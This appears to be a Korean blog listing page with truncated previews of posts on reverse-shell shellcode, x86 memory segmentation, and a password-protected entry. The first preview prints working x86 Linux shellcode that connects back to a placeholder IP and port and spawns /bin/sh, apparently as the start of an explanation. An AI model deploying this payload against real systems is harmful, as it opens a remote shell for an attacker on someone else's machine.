Reverse Shell123456789101112131415shellcode = "\x68\xIP1\xIP2\xIP3\xIP4\x5e\x66\x68\x12\x34\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53" "\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57" "\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce" ShellCode 설명"\x68\xIP1\xIP2\xIP3\xIP4 -> IP 주소\x..
#----------------------------------- Segmentation -----------------------------------#Segmentation은 메모리에 영역을 분할하고 할당하는 작업이다. PE나 ELF 구조 파일의 경우 섹션을 나눌 경우 페이징에 맞춰 나누기 위해 헤더를 두고 헤더의 오프셋 값을 참조하여 배치하게 되지만 Segmentation의 경우 그렇지 않다. Segment Register를 참조하여 여기의 값을 오프셋으로 사용하여 메모리에 영역을 분할하고 할당한다. 이때, 실제 주소모드와 보호 모드에 따라 약간씩 달라진다. 실제 주소 모드의 경우 레지스터가 가리키는 값이 곧 물리 주소이기 때문에 레지스터의 값을 바로 계산하여 영역을 배치한다.Segment Regi..
보호되어 있는 글입니다.